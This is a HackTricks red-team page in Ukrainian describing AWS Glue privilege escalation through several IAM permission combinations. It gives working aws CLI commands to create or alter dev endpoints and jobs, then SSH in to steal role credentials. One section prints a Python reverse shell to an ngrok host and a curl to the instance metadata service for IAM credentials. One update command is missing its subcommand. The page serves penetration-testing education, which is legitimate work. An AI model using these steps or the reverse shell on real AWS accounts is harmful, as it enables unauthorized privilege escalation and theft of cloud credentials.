AWS - Glue Privesc

Вивчайте та практикуйте хакінг AWS: Школа хакінгу HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте хакінг GCP: Школа хакінгу HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Користувачі з цими дозволами можуть налаштувати нову точку розвитку AWS Glue, призначивши існуючу службову роль, яку можна призначити для Glue з конкретними дозволами для цієї точки.

Після налаштування зловмисник може виконати SSH на екземплярі точки, і вкрасти IAM-підтвердження призначеної ролі:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Для забезпечення конфіденційності рекомендується використовувати облікові дані IAM зсередини віртуальної машини Glue.

Потенційний вплив: Підвищення привілеїв до вказаної ролі служби glue.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Користувачі з цим дозволом можуть змінювати існуючу точку розвитку Glue, ключ SSH, що дозволяє доступ до SSH. Це дозволяє зловмиснику виконувати команди з привілеями ролі, приєднаної до точки розвитку:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Потенційний вплив: Підвищення привілеїв до ролі служби glue, яка використовується.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Користувачі з iam:PassRole, поєднано з glue:CreateJob або glue:UpdateJob, і або glue:StartJobRun або glue:CreateTrigger можуть створювати або оновлювати завдання AWS Glue, прикріплюючи будь-який обліковий запис служби Glue, та запускати виконання завдання. Можливості завдання включають виконання довільного коду Python, який може бути використаний для створення зворотного shell. Цей зворотний shell може бути використаний для виведення IAM-підтвердження ролі, прикріпленої до завдання Glue, що призводить до потенційного несанкціонованого доступу або дій на основі дозволів цієї ролі:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Потенційний вплив: Підвищення привілеїв до вказаної ролі служби glue.

glue:UpdateJob

Лише з дозволом на оновлення атакуючий може вкрасти облікові дані IAM вже прикріпленої ролі.

Потенційний вплив: Підвищення привілеїв до прикріпленої ролі служби glue.

Посилання

Last updated